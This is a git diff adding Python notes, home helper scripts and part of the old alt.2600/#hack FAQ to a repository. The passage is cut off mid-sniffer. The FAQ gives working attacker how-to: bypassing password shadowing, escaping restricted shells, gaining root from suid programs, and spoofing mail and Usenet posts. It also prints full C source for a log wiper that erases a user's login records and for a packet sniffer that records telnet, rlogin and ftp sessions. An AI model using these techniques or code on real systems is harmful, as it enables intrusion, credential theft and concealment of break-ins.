%s" %(x,y,z) <-- Strings + def main(): + x=1 + y=2 + z=3 + part1(x,y,z) +1.) For intager input do: + input("Type your number here fool!!") +to tack it on to a variable do: + x= input("Type your number here fool!!") +2.) For string input do: + raw_input("Type your name here fool!!") +to tack it on to a variable do: + x= raw_input("Type your name here fool!!") +3.) To print out in a terminal do: + print "Your message in these parenthasies" +4.) If statements are as is: + if x == 1: + print "Blah" +OR + if x == 1: + print "Blah" + elif x== 2: + print "Blah2" + else + print "Damn you dumb!!" +5.) To do and or or statement do: + x=1 + y=2 + z=3 + if x == y and x == z : + print "Huh?" +OR for or do: + x=1 + y=2 + z=3 + if x == y or x == z : + print "Huh?" +6.) For string comparisons do : + x="Fucker" + z="Hi" + if x != y : + print "Yup, correct." +7.) To pass variables into print do: + x="Fucker" + z="Hi" + varb=(x,y) + if x != y : + print "Yup, correct. %S is not the same as %S" % varb + elif x == y : + print "Yup, correct. %S is the same as %S" % varb +NOTE: This passes the variables in order as they appear. The % before varb +means pass these two variables, in order of apperance to the %s's diff --git a/src/Scripts/Install Development Packages.sh b/src/Scripts/Install Development Packages.sh new file mode 100644 index 0000000..99ce93e --- /dev/null +++ b/src/Scripts/Install Development Packages.sh @@ -0,0 +1,58 @@ +#!/bin/bash + +function main() { +OS=`lsb_release -i | awk '{ print $3 }'` + + if ! [[ "${OS}" == "Ubuntu" ]]; then + echo "System isn't Ubuntu.... Exiting." + exit; + fi + + while [[ $ANSWER != 0 && $ANSWER != 1 && + $ANSWER != 2 && $ANSWER != 3 ]]; do + clear; + echo "Which language would you like to download?" + echo "(0) Python" + echo "(1) Java" + echo "(2) GTKMM & Glade" + echo "(3) C++ & C" + read -p "--> : " ANSWER; + done + + case $ANSWER in + 0) installPython ;; + 1) installJava ;; + 2) installGTKMM ;; + 3) installCPPAndC ;; + *) echo "Incorrect input...";; + esac +} + +installPython() { + sudo apt-get install python; +} + +installJava() { + + DISTRO=`lsb_release -c | awk '{ print $2 }'` + + sudo echo "" >> /etc/apt/sources.list + sudo echo "" >> /etc/apt/sources.list + sudo echo "#### Oracle Java (JDK) Installer PPA" >> /etc/apt/sources.list + sudo echo "" >> /etc/apt/sources.list + sudo echo "deb http://ppa.launchpad.net/webupd8team/java/ubuntu "${DISTRO}" main" >> /etc/apt/sources.list + sudo echo "deb-src http://ppa.launchpad.net/webupd8team/java/ubuntu "\"${DISTRO}"\" main" >> /etc/apt/sources.list + + sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys EEA14886 + sudo apt-get update; + sudo apt-get install oracle-java8-installer oracle-java8-set-default; +} + +installGTKMM() { + sudo apt-get install libgtkmm-3.0-dev libwebkit2gtk-3.0-dev glade; +} + +installCPPAndC() { + sudo apt-get install g++ libc-dev-bin; +} +main; \ No newline at end of file diff --git a/src/Scripts/Qemu Setup.sh b/src/Scripts/Qemu Setup.sh new file mode 100644 index 0000000..ccc5d66 --- /dev/null +++ b/src/Scripts/Qemu Setup.sh @@ -0,0 +1,22 @@ +#!/bin/bash + +# . CONFIG.sh + +# set -o xtrace ## To debug scripts +# set -o errexit ## To exit on error +# set -o errunset ## To exit if a variable is referenced but not set + + +function main() { + SCRIPTPATH="$( cd "$(dirname "")" >/dev/null 2>&1 ; pwd -P )" + cd "${SCRIPTPATH}" + echo "Working Dir: " $(pwd) + + sudo apt-get install libvirt-bin libiscsi-bin libaio1 qemu qemu-block-extra qemu-kvm + sleep 4 + clear + echo "Now run something like:" + echo "sudo qemu-system-x86_64 -m 4G -boot c -hda /dev/sdb" +} + +main $@; diff --git a/src/Scripts/VNC Servers.sh b/src/Scripts/VNC Servers.sh new file mode 100644 index 0000000..6b7dd81 --- /dev/null +++ b/src/Scripts/VNC Servers.sh @@ -0,0 +1,47 @@ +#!/bin/bash + +# . CONFIG.sh + +# set -o xtrace ## To debug scripts +# set -o errexit ## To exit on error +# set -o errunset ## To exit if a variable is referenced but not set + + +function main() { + SCRIPTPATH="$( cd "$(dirname "")" >/dev/null 2>&1 ; pwd -P )" + cd "${SCRIPTPATH}" + echo "Working Dir: " $(pwd) + + while [[ "${INPUT}" != 1 && "${INPUT}" != 2 && "${INPUT}" != 3 ]] + do + clear + + echo "Servers:"; + echo "1) media -- Family Room"; + echo "2) media2 -- Dad's study"; + echo "3) "; + echo "Note: Type the assigned number to chose a server."; + read -p "" INPUT + + case "${INPUT}" in + 1) op1;; + 2) op2;; + 3) op3;; + *) echo "Not a known option...";; + esac + done +} + +function op1() { + gvncviewer 192.168.1.7:0 +} + +function op2() { + gvncviewer 192.168.1.15:0 +} + +function op3() { + echo "No server coded in yet. Edit file to add one." +} + +main $@; diff --git a/src/Scripts/Xbox Ctrl.sh b/src/Scripts/Xbox Ctrl.sh new file mode 100644 index 0000000..5b8d746 --- /dev/null +++ b/src/Scripts/Xbox Ctrl.sh @@ -0,0 +1,17 @@ +#!/bin/bash + +# . CONFIG.sh + +# set -o xtrace ## To debug scripts +# set -o errexit ## To exit on error +# set -o errunset ## To exit if a variable is referenced but not set + + +function main() { + SCRIPTPATH="$( cd "$(dirname "")" >/dev/null 2>&1 ; pwd -P )" + cd "${SCRIPTPATH}" + echo "Working Dir: " $(pwd) + + gksu xboxdrv --trigger-as-button --silent +} +main $@; diff --git a/src/Security/Technical Papers and Notes/Docs/Beta .007 - Hack F.A.Q.txt b/src/Security/Technical Papers and Notes/Docs/Beta .007 - Hack F.A.Q.txt new file mode 100755 index 0000000..b8440d2 --- /dev/null +++ b/src/Security/Technical Papers and Notes/Docs/Beta .007 - Hack F.A.Q.txt @@ -0,0 +1,3367 @@ +Summary: This posting contains a list of Frequently Asked + Questions (and their answers) about hacking. It + should be read by anyone who wishes to post to the + alt.2600 newsgroup or use the IRC channel #hack. + +Editors Note: Welcome to Beta .007, licensed to amuse. + + This release of the #hack FAQ is now the alt.2600/#hack + FAQ. Tomes, editor of the alt.2600 FAQ, and I + have merged our two FAQ's into one. Eleet greets go out + to Tomes. + + This release is dedicated to Eric S. Real + for not only emailing me the first + real flame for the FAQ, but also including a huge + advertisement for a book he is hawking. + + To quote our little buddy Eric "I will denounce you and + your cracker pals as the pathetic scum you are. *And* + do my best to see that as many as possible of you end up + in Leavenworth getting butt-fucked by reality." Eric, + this Bud's for you. + + Many sections are missing or incomplete. The #hack FAQ + comes with no warranties, express or implied. + + If you have a questions regarding any of the topics + covered in the FAQ, please direct it to alt.2600 or + #hack. Please do not e-mail me with them, I'm getting + swamped. + + If your copy of the #hack FAQ does not end with the + letters EOT on a line by themselves, you do not have the + entire FAQ. + + I promise to spell check this beast before I release + version 1.0. + + + + ** BETA ** + + Beta Revision .007 + + alt.2600/#Hack F.A.Q. + + by + Voyager + will@gnu.ai.mit.edu + + Sysop of + Hacker's Haven + (303)343-4053 + + With special thanks to: + + A-Flat, Al, Aleph1, Bluesman, C-Curve, Edison, KCrow, + Major, Presence, Rogue Agent, sbin, Tomes and TheSaint. + + + We work in the dark + We do what we can + We give what we have + Our doubt is our passion, + and our passion is our task + The rest is the madness of art. + + -- Henry James + + + +Section A: Computers + + 01. How do I access the password file under Unix? + 02. How do I crack Unix passwords? + 03. How do I access the password file under VMS? + 04. How do I crack VMS passwords? + 05. What is NIS/yp? + 06. What is password shadowing? + 07. How do I break out of a restricted shell? + 08. How do I gain root from a suid script or program? + 09. How do I erase my presence from the system logs? + 10. How do I send fakemail? + 11. How do I fake posts to UseNet? + 12. How do I hack ChanOp on IRC? + 13. How do I modify the IRC client to hide my real username? + 14. What is a trojan/worm/virus/logic bomb? + 15. How can I protect myself from virii and such? + 16. What is Cryptoxxxxxxx? + 17. What is PGP? + 18. What is Tempest? +U 19. How to I change to directores with strange characters in them? + 20. What is ethernet sniffing? + 21. What is an Internet Outdial? + 22. What are some Internet Outdials? +N 23. How do I defeat copy protection? +N 24. What is this system? +N 25. What are the default accounts for XXX ? +N 26. What port is XXX on? + + +Section B: Telephony + +U 01. What is a Red Box? +U 02. How do I build a Red Box? +N 03. Where can I get a 6.5536Mhz crystal? + 04. Which payphones will a Red Box work on? + 05. What is a Blue Box? + 06. Do Blue Boxes still work? + 07. What is a Black Box? + 08. What do all the colored boxes do? +U 09. What is the ANAC number for my area? + 10. What is a ringback number? +U 11. What is the ringback number for my area? + 12. What is a loop? + 13. What is a loop in my area? + 14. What is a CNA number? +U 15. What is the telephone company CNA number for my area? + 16. What is scanning? + 17. Is scanning illegal? +N 18. Where can I purchase a lineman's handset? +N 19. What are the DTMF frequencies? + + +Section C: Resources + +U 01. What are some ftp sites of interest to hackers? +U 02. What are some newsgroups of interest to hackers? + 03. What are some telnet sites of interest to hackers? +U 04. What are some gopher sites of interest to hackers? +U 05. What are some World wide Web (WWW) sites of interest to hackers? + 06. What are some IRC channels of interest to hackers? + 07. What are some BBS's of interest to hackers? + 08. What books are available on this subject? +U 09. What are some mailing lists of interest to hackers? +N 10. What are some print magazines of interest to hackers? +N 11. What are some organizations of interest to hackers? + + +Section D: 2600 + +N 01. What is alt.2600? +N 02. What does "2600" mean? +N 03. Are there on-line versions of 2600 available? +N 04. I can't find 2600 at any bookstores. What can I do? +N 05. Why does 2600 cost more to subscribe to than to buy at a newsstand? + + +Section E: Miscellaneous + +U 01. What does XXX stand for? +N 02. How do I determine if I have a valid credit card number? +U 03. Where can I get a copy of the #hack FAQ? + + + +U == Updated since last release of the #hack FAQ +N == New since last release of the #hack FAQ + + + + +Section A: Computers +~~~~~~~~~~~~~~~~~~~~ + +01. How do I access the password file under Unix? + +In standard Unix the password file is /etc/passwd. On a Unix system +with either NIS/yp or password shadowing, much of the password data +may be elsewhere. + + +02. How do I crack Unix passwords? + +Contrary to popular belief, Unix passwords cannot be decrypted. Unix +passwords are encrypted with a one way function. The login program +encrypts the text you enter at the "password:" prompt and compares +that encrypted string against the encrypted form of your password. + +Password cracking software uses wordlists. Each word in the wordlist +is encrypted with each of the 4096 possible salt values and the +results are compared to the encrypted form of the target password. + +The best cracking program for Unix passwords is currently Crack by +Alec Muffett. For PC-DOS, the best package to use is currently +CrackerJack. + + +03. How do I access the password file under VMS? + +Under VMS, the password file is SYS$SYSTEM:SYSUAF.DAT. However, +unlike Unix, most users do not have access to read the password file. + + +04. How do I crack VMS passwords? + +Write a program that uses the SYS$GETUAF functions to compare the +results of encrypted words against the encrypted data in SYSUAF.DAT. + +Two such programs are known to exist, CHECK_PASSWORD and +GUESS_PASSWORD. + + +05. What is NIS/yp? + +NIS (Network Information System) in the current name for what was once +known as yp (Yellow Pages). The purpose for NIS is to allow many +machies on a network to share configuration information, including +password data. NIS is not designed to promote system security. If +your system uses NIS you will have a very short /etc/passwd file with +a line that looks like this: + ++::0:0::: + +To view the real password file use this command "ypcat passwd" + + +06. What is password shadowing? + +Password shadowing is a security system where the encrypted password +field of /etc/password is replaced with a special token and the +encrypted password is stored in a seperate file which is not readable +by normal system users. + +To defeat password shadowing on many (but not all) systems, write a +program that uses successive calls to getpwent() to obtain the +password file. + +Example: + +#include +main() +{ +struct passwd *p; +while(p=getpwent()) +printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name, p->pw_passwd, +p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell); +} + + +07. How do I break out of a restricted shell? + +On poorly implemented restricted shells you can break out of the +restricted environment by running a program that features a shell +function. A good example is vi. Run vi and use this command: + +:set shell=/bin/sh + +then shell using this command: + +:shell + + +08. How do I gain root from a suid script or program? + +1. Change IFS. + +If the program calls any other programs using the system() function +call, you may be able to fool it by changing IFS. IFS is the Internal +Field Seperator that the shell uses to delimit arguments. + +If the program contains a line that looks like this: + +system("/bin/date") + +and you change IFS to '/' the shell will them interpret the +proceeding line as: + +bin date + +Now, if you have a program of your own in the path called "bin" the +suid program will run your program instead of /bin/date. + +To change IFS, use this command: + +IFS='/';export IFS # Bourne Shell +setenv IFS '/' # C Shell +export IFS='/' # Korn Shell + + +2. link the script to -i + +Create a symbolic link named "-i" to the program. Running "-i" +will cause the interpreter shell (/bin/sh) to start up in interactive +mode. This only works on suid shell scripts. + +Example: + +% ln suid.sh -i +% -i +# + + +3. Exploit a race condition + +Replace a symbolic link to the program with another program while the +kernel is loading /bin/sh. + +Example: + +nice -19 suidprog ; ln -s evilprog suidroot + + +4. Send bad input the the program. + +Invoke the name of the program and a seperate command on the same +command line. + +Example: + +suidprog ; id + + +09. How do I erase my presence from the system logs? + +Edit /etc/utmp, /usr/adm/wtmp and /usr/adm/lastlog. These are not text +files that can be edited by hand with vi, you must use a program +specifically written for this purpose. + +Example: + +#include +#include +#include +#include +#include +#include +#include +#include +#define WTMP_NAME "/usr/adm/wtmp" +#define UTMP_NAME "/etc/utmp" +#define LASTLOG_NAME "/usr/adm/lastlog" + +int f; + +void kill_utmp(who) +char *who; +{ + struct utmp utmp_ent; + + if ((f=open(UTMP_NAME,O_RDWR))>=0) { + while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 ) + if (!strncmp(utmp_ent.ut_name,who,strlen(who))) { + bzero((char *)&utmp_ent,sizeof( utmp_ent )); + lseek (f, -(sizeof (utmp_ent)), SEEK_CUR); + write (f, &utmp_ent, sizeof (utmp_ent)); + } + close(f); + } +} + +void kill_wtmp(who) +char *who; +{ + struct utmp utmp_ent; + long pos; + + pos = 1L; + if ((f=open(WTMP_NAME,O_RDWR))>=0) { + + while(pos != -1L) { + lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND); + if (read (f, &utmp_ent, sizeof (struct utmp))<0) { + pos = -1L; + } else { + if (!strncmp(utmp_ent.ut_name,who,strlen(who))) { + bzero((char *)&utmp_ent,sizeof(struct utmp )); + lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND); + write (f, &utmp_ent, sizeof (utmp_ent)); + pos = -1L; + } else pos += 1L; + } + } + close(f); + } +} + +void kill_lastlog(who) +char *who; +{ + struct passwd *pwd; + struct lastlog newll; + + if ((pwd=getpwnam(who))!=NULL) { + + if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) { + lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0); + bzero((char *)&newll,sizeof( newll )); + write(f, (char *)&newll, sizeof( newll )); + close(f); + } + + } else printf("%s: ?\n",who); +} + +main(argc,argv) +int argc; +char *argv[]; +{ + if (argc==2) { + kill_lastlog(argv[1]); + kill_wtmp(argv[1]); + kill_utmp(argv[1]); + printf("Zap2!\n"); + } else + printf("Error.\n"); +} + + +10. How do I send fakemail? + +Telnet to port 25 of the machine you want the mail to appear to +originate from. Enter your message as in this example: + + HELO bellcore.com + MAIL FROM:Voyagor@bellcore.com + RCPT TO:clinton@whitehouse.gov + DATA + + Please discontinue your silly Clipper initiative. + . + QUIT + +On systems that have RFC 931 implemented, spoofing your "MAIL FROM:" +line will not work. Test by sending yourself fakemail first. + + +11. How do I fake posts to UseNet? + +Use inews to post. Give inews the following lines: + + From: + Newsgroups: + Subject: + Message-ID: + Date: + Organization: + +For a moderated newsgroup, inews will also require this line: + + Approved: + +Then add your post and terminate with . + +Example: + + From: Eric S. Real + Newsgroups: alt.hackers + Subject: Pathetic bunch of wannabe losers + Message-ID: + Date: Fri, 13 Aug 1994 12:15:03 + Organization: Moral Majority + + A pathetic bunch of wannabe losers is what most of you are, with no + right to steal the honorable title of `hacker' to puff up your silly + adolescent egos. Get stuffed, get lost, and go to jail. + + Eric S. Raymond + + + ^D + +Note that many systems will append an Originator: line to your message +header, effectively revealing the account from which the message was +posted. + + +12. How do I hack ChanOp on IRC? + +Find a server that is split from the rest of IRC and create your own +channel there using the name of the channel you want ChanOp on. When +that server reconnects to the net, you will have ChanOp on the real +channel. If you have ServerOp on a server, you can cause it to split +on purpose. + + +13. How do I modify the IRC client to hide my real username? + +Get the IRC client from cs.bu.edu /irc/clients. Look at the source +code files irc.c and ctcp.c. The code you are looking for is fairly +easy to spot. Change it. Change the username code in irc.c and the +ctcp information code in ctcp.c. Compile and run your client. + +Here are the diffs from a sample hack of the IRC client. Your client +code will vary slighty depending on what IRC client version you are +running. + +*** ctcp.c.old Wed Feb 10 10:08:05 1993 +--- ctcp.c Fri Feb 12 04:33:55 1993 +*************** +*** 331,337 **** + struct passwd *pwd; + long diff; + int uid; +! char c; + + /* + * sojge complained that ircII says 'idle 1 seconds' +--- 331,337 ---- + struct passwd *pwd; + long diff; + int uid; +! char c, *fing; + + /* + * sojge complained that ircII says 'idle 1 seconds' +*************** +*** 348,354 **** + if (uid != DAEMON_UID) + { + #endif /* DAEMON_UID */ +! if (pwd = getpwuid(uid)) + { + char *tmp; + +--- 348,356 ---- + if (uid != DAEMON_UID) + { + #endif /* DAEMON_UID */ +! if (fing = getenv("IRCFINGER")) +! send_ctcp_reply(from, ctcp->name, fing, diff, c); +! else if (pwd = getpwuid(uid)) + { + char *tmp; + +*** irc.c.old Wed Feb 10 06:33:11 1993 +--- irc.c Fri Feb 12 04:02:11 1993 +*************** +*** 510,516 **** + malloc_strcpy(&my_path, "/"); + if (*realname == null(char)) + strmcpy(realname, "*Unknown*", REALNAME_LEN); +! if (*username == null(char)) + { + if (ptr = getenv("USER")) + strmcpy(username, ptr, NAME_LEN); +--- 510,518 ---- + malloc_strcpy(&my_path, "/"); + if (*realname == null(char)) + strmcpy(realname, "*Unknown*", REALNAME_LEN); +! if (ptr = getenv("IRCUSER")) +! strmcpy(username, ptr, NAME_LEN); +! else if (*username == null(char)) + { + if (ptr = getenv("USER")) + strmcpy(username, ptr, NAME_LEN); + + +14. What is a trojan/worm/virus/logic bomb? + +This FAQ answer is excerpted from: Computer Security Basics + by Deborah Russell + and G.T. Gengemi Sr. + +Trojan: An independent program that appears to perform a useful + function but that hides another unauthorized program + inside it. When an authorized user performs the apparrent + function, the trojan horse performs the unauthorized + function as well (often usurping the priveleges of the + user). + +Virus: A code fragment (not an independent program) that + reproduces by attaching to another program. It may damage + data directly, or it may degrade system performance by + taking over system resources which are then not available + to authorized users. + +Worm: An independent program that reproduces by copying itself + from one system to another, usually over a network. Like + a virus, a worm may damage data directly, or it may + degrade system performace by tying up system resources and + even shutting down a network. + +Logic Bomb: A method for releasing a system attack of some kind. It + is triggered when a particular condition (e.g., a certain + date or system operation) occurs. + + +15. How can I protect myself from virii and such? + +Always write protect your floppy disks when you are not purposefully +writing to them. + +Use ATTRIB to make all of your EXE and COM files read only. This will +protect you from many poorly written viruses. + +Scan any software that you receive with a recent copy of a good virus +scanner. The best virus scanner currently available for DOS is F-Prot +by Fridrik Skulason. The current version is FP-212C. It is best to +use more than one virus scanner. That will decrease your chances of +missing a virus. + +Backup regularly, and keep several generations of backups on hand. +If you always backup over your last backup, you may find yourself with +an infected backup tape. + + +16. What is Cryptoxxxxxxx? + +This FAQ answer is excerpted from: Computer Security Basics + by Deborah Russell + and G.T. Gengemi Sr. + +A message is called either plaintext or cleartext. The process of +disguising a message in such a way as to hide its substance is called +encryption. An encrypted message is called ciphertext. The process +of turning ciphertext back into plaintext is called decryption. + +The art and science of keeping messages secure is called cryptography, +and it is practiced by cryptographers. Cryptanalysts are +practitioners of cryptanalysis, the art and science of breaking +ciphertext, i.e. seeing through the disguise. The branch of +mathematics embodying both cryptography and cryptanalysis is called +cryptology, and it's practitioners are called cryptologists. + + +17. What is PGP? + +This FAQ answer is excerpted from: PGP(tm) User's Guide + Volume I: Essential Topics + by Philip Zimmermann + +PGP(tm) uses public-key encryption to protect E-mail and data files. +Communicate securely with people you've never met, with no secure +channels needed for prior exchange of keys. PGP is well featured and +fast, with sophisticated key management, digital signatures, data +compression, and good ergonomic design. + +Pretty Good(tm) Privacy (PGP), from Phil's Pretty Good Software, is a +high security cryptographic software application for MSDOS, Unix, +VAX/VMS, and other computers. PGP allows people to exchange files or +messages with privacy, authentication, and convenience. Privacy means +that only those intended to receive a message can read it. +Authentication means that messages that appear to be from a particular +person can only have originated from that person. Convenience means +that privacy and authentication are provided without the hassles of +managing keys associated with conventional cryptographic software. No +secure channels are needed to exchange keys between users, which makes +PGP much easier to use. This is because PGP is based on a powerful +new technology called "public key" cryptography. + +PGP combines the convenience of the Rivest-Shamir-Adleman (RSA) +public key cryptosystem with the speed of conventional cryptography, +message digests for digital signatures, data compression before +encryption, good ergonomic design, and sophisticated key management. +And PGP performs the public-key functions faster than most other +software implementations. PGP is public key cryptography for the +masses. + + +18. What is Tempest? + +Computers and other electonic equipment release interference to their +surrounding environment. You may observe this by placing two video +monitors close together. The pictures will behave erratically until +you space them apart. + +Although most of the time these emissions are simply annoyances, they +can sometimes be very helpful. Suppose we wanted to see what project +a target was working on. We could sit in a van outside her office and +use sensitive electonic equipment to attempt to pick up and decipher +the emanations from her video monitor. + +Our competitor, however, could shield the emanations from her +equipment or use equipment without strong emanations. + +Tempest is the US Government program for evaluation and endorsement +of electronic equipment that is safe from eavesdropping. + + +19. How to I change to directores with strange characters in them? + +These directories are often used by people trying to hide information, +most often warez (commercial software). + +There are several things you can do to determine what these strange +characters are. One is to use the arguments to the ls command that +cause ls to give you more information: + +From the man page for ls: + + -F Causes directories to be marked with a trailing ``/'', + executable files to be marked with a trailing ``*'', and + symbolic links to be marked with a trailing ``@'' symbol. + + -q Forces printing of non-graphic characters in filenames as the + character ``?''. + + -b Forces printing of non-graphic characters in the \ddd + notation, in octal. + +Perhaps the most useful tool is to simply do an "ls -al filename" to +save the directory of the remote ftp site as a file on your local +machine. Then you can do a "cat -t -v -e filename" too see exactly +what those bizarre little characters are. + +From the man page for cat: + + -v Causes non-printing characters (with the exception of tabs, + newlines, and form feeds) to be displayed. Control characters + are displayed as ^X (x), where X is the key pressed with + the key (for example, m is displayed as ^M). The + character (octal 0177) is printed as ^?. Non-ASCII + characters (with the high bit set) are printed as M -x, where + x is the character specified by the seven low order bits. + + -t Causes tabs to be printed as ^I and form feeds as ^L. This + option is ignored if the -v option is not specified. + + -e Causes a ``$'' character to be printed at the end of each line + (prior to the new-line). This option is ignored if the -v + option is not set. + +If the directory name includes a or a you will need to +enclose the entire directory name in quotes. Example: + +cd ".." + +On an IBM-PC, you may enter these special characters by holding down +the key and entering the decimal value of the special character +on your numeric keypad. When you release the key, the special +character should appear on your screen. An ASCII chart can be very +helpful. + + +20. What is ethernet sniffing? + +Ethernet sniffing is listening (with software) to the raw ethernet +device for packets that interest you. When your software sees a +packet that fits certain criteria, it logs it to a file. The most +common criteria for an interesting packet is one that contains words +like "login" or "password." + +Many enternet sniffers are available, here are a few that may be on +your system now: + +OS Sniffer +~~ ~~~~~~~ +HP/UX nettl (monitor) & netfmt (display) +SunOS etherfind +Solaris snoop +DOS ETHLOAD + LanWatch + The Gobbler + Netmon + LanPatrol + Netwatch + +Here is source code for an ethernet sniffer: + +/* Esniff.c */ + +#include +#include +#include + +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include + +#define ERR stderr + +char *malloc(); +char *device, + *ProgName, + *LogName; +FILE *LOG; +int debug=0; + +#define NIT_DEV "/dev/nit" +#define CHUNKSIZE 4096 /* device buffer size */ +int if_fd = -1; +int Packet[CHUNKSIZE+32]; + +void Pexit(err,msg) +int err; char *msg; +{ perror(msg); + exit(err); } + +void Zexit(err,msg) +int err; char *msg; +{ fprintf(ERR,msg); + exit(err); } + +#define IP ((struct ip *)Packet) +#define IP_OFFSET (0x1FFF) +#define SZETH (sizeof(struct ether_header)) +#define IPLEN (ntohs(ip->ip_len)) +#define IPHLEN (ip->ip_hl) +#define TCPOFF (tcph->th_off) +#define IPS (ip->ip_src) +#define IPD (ip->ip_dst) +#define TCPS (tcph->th_sport) +#define TCPD (tcph->th_dport) +#define IPeq(s,t) ((s).s_addr == (t).s_addr) + +#define TCPFL(FLAGS) (tcph->th_flags & (FLAGS)) + +#define MAXBUFLEN (128) +time_t LastTIME = 0; + +struct CREC { + struct CREC *Next, + *Last; + time_t Time; /* start time */ + struct in_addr SRCip, + DSTip; + u_int SRCport, /* src/dst ports */ + DSTport; + u_char Data[MAXBUFLEN+2]; /* important stuff :-) */ + u_int Length; /* current data length */ + u_int PKcnt; /* # pkts */ + u_long LASTseq; +}; + +struct CREC *CLroot = NULL; + +char *Symaddr(ip) +register struct in_addr ip; +{ register struct hostent *he = + gethostbyaddr((char *)&ip.s_addr, sizeof(struct in_addr),AF_INET); + + return( (he)?(he->h_name):(inet_ntoa(ip)) ); +} + +char *TCPflags(flgs) +register u_char flgs; +{ static char iobuf[8]; +#define SFL(P,THF,C) iobuf[P]=((flgs & THF)?C:'-') + + SFL(0,TH_FIN, 'F'); + SFL(1,TH_SYN, 'S'); + SFL(2,TH_RST, 'R'); + SFL(3,TH_PUSH,'P'); + SFL(4,TH_ACK, 'A'); + SFL(5,TH_URG, 'U'); + iobuf[6]=0; + return(iobuf); +} + +char *SERVp(port) +register u_int port; +{ static char buf[10]; + register char *p; + + switch(port) { + case IPPORT_LOGINSERVER: p="rlogin"; break; + case IPPORT_TELNET: p="telnet"; break; + case IPPORT_SMTP: p="smtp"; break; + case IPPORT_FTP: p="ftp"; break; + default: sprintf(buf,"%u",port); p=buf; break; + } + return(p); +} + +char *Ptm(t) +register time_t *t; +{ register char *p = ctime(t); + p[strlen(p)-6]=0; /* strip " YYYY\n" */ + return(p); +} + +char *NOWtm() +{ time_t tm; + time(&tm); + return( Ptm(&tm) ); +} + +#define MAX(a,b) (((a)>(b))?(a):(b)) +#define MIN(a,b) (((a)<(b))?(a):(b)) + +/* add an item */ +#define ADD_NODE(SIP,DIP,SPORT,DPORT,DATA,LEN) { \ + register struct CREC *CLtmp = \ + (struct CREC *)malloc(sizeof(struct CREC)); \ + time( &(CLtmp->Time) ); \ + CLtmp->SRCip.s_addr = SIP.s_addr; \ + CLtmp->DSTip.s_addr = DIP.s_addr; \ + CLtmp->SRCport = SPORT; \ + CLtmp->DSTport = DPORT; \ + CLtmp->Length = MIN(LEN,MAXBUFLEN); \ + bcopy( (u_char *)DATA, (u_char *)CLtmp->Data, CLtmp->Length); \ + CLtmp->PKcnt = 1; \ + CLtmp->Next = CLroot; \ + CLtmp->Last = NULL; \ + CLroot = CLtmp; \ +} + +register struct CREC *GET_NODE(Sip,SP,Dip,DP) +register struct in_addr Sip,Dip; +register u_int SP,DP; +{ register struct CREC *CLr = CLroot; + + while(CLr != NULL) { + if( (CLr->SRCport == SP) && (CLr->DSTport == DP) && + IPeq(CLr->SRCip,Sip) && IPeq(CLr->DSTip,Dip) ) + break; + CLr = CLr->Next; + } + return(CLr); +} + +#define ADDDATA_NODE(CL,DATA,LEN) { \ + bcopy((u_char *)DATA, (u_char *)&CL->Data[CL->Length],LEN); \ + CL->Length += LEN; \ +} + +#define PR_DATA(dp,ln) { \ + register u_char lastc=0; \ + while(ln-- >0) { \ + if(*dp < 32) { \ + switch(*dp) { \ + case '\0': if((lastc=='\r') || (lastc=='\n') || lastc=='\0') \ + break; \ + case '\r': \ + case '\n': fprintf(LOG,"\n : "); \ + break; \ + default : fprintf(LOG,"^%c", (*dp + 64)); \ + break; \ + } \ + } else { \ + if(isprint(*dp)) fputc(*dp,LOG); \ + else fprintf(LOG,"(%d)",*dp); \ + } \ + lastc = *dp++; \ + } \ + fflush(LOG); \ +} + +void END_NODE(CLe,d,dl,msg) +register struct CREC *CLe; +register u_char *d; +register int dl; +register char *msg; +{ + fprintf(LOG,"\n-- TCP/IP LOG -- TM: %s --\n", Ptm(&CLe->Time)); + fprintf(LOG," PATH: %s(%s) =>", Symaddr(CLe->SRCip),SERVp(CLe->SRCport)); + fprintf(LOG," %s(%s)\n", Symaddr(CLe->DSTip),SERVp(CLe->DSTport)); + fprintf(LOG," STAT: %s, %d pkts, %d bytes [%s]\n", + NOWtm(),CLe->PKcnt,(CLe->Length+dl),msg); + fprintf(LOG," DATA: "); + { register u_int i = CLe->Length; + register u_char *p = CLe->Data; + PR_DATA(p,i); + PR_DATA(d,dl); + } + + fprintf(LOG,"\n-- \n"); + fflush(LOG); + + if(CLe->Next != NULL) + CLe->Next->Last = CLe->Last; + if(CLe->Last != NULL) + CLe->Last->Next = CLe->Next; + else + CLroot = CLe->Next; + free(CLe); +} + +/* 30 mins (x 60 seconds) */ +#define IDLE_TIMEOUT 1800 +#define IDLE_NODE() { \ + time_t tm; \ + time(&tm); \ + if(LastTIMENext; \ + if(CLe->Time ether_type); + + if(EtherType < 0x600) { + EtherType = *(u_short *)(cp + SZETH + 6); + cp+=8; pktlen-=8; + } + + if(EtherType != ETHERTYPE_IP) /* chuk it if its not IP */ + return; + } + + /* ugh, gotta do an alignment :-( */ + bcopy(cp + SZETH, (char *)Packet,(int)(pktlen - SZETH)); + + ip = (struct ip *)Packet; + if( ip->ip_p != IPPROTO_TCP) /* chuk non tcp pkts */ + return; + tcph = (struct tcphdr *)(Packet + IPHLEN); + + if(!( (TCPD == IPPORT_TELNET) || + (TCPD == IPPORT_LOGINSERVER) || + (TCPD == IPPORT_FTP) + )) return; + + { register struct CREC *CLm; + register int length = ((IPLEN - (IPHLEN * 4)) - (TCPOFF * 4)); + register u_char *p = (u_char *)Packet; + + p += ((IPHLEN * 4) + (TCPOFF * 4)); + + if(debug) { + fprintf(LOG,"PKT: (%s %04X) ", TCPflags(tcph->th_flags),length); + fprintf(LOG,"%s[%s] => ", inet_ntoa(IPS),SERVp(TCPS)); + fprintf(LOG,"%s[%s]\n", inet_ntoa(IPD),SERVp(TCPD)); + } + + if( CLm = GET_NODE(IPS, TCPS, IPD, TCPD) ) { + + CLm->PKcnt++; + + if(length>0) + if( (CLm->Length + length) < MAXBUFLEN ) { + ADDDATA_NODE( CLm, p,length); + } else { + END_NODE( CLm, p,length, "DATA LIMIT"); + } + + if(TCPFL(TH_FIN|TH_RST)) { + END_NODE( CLm, (u_char 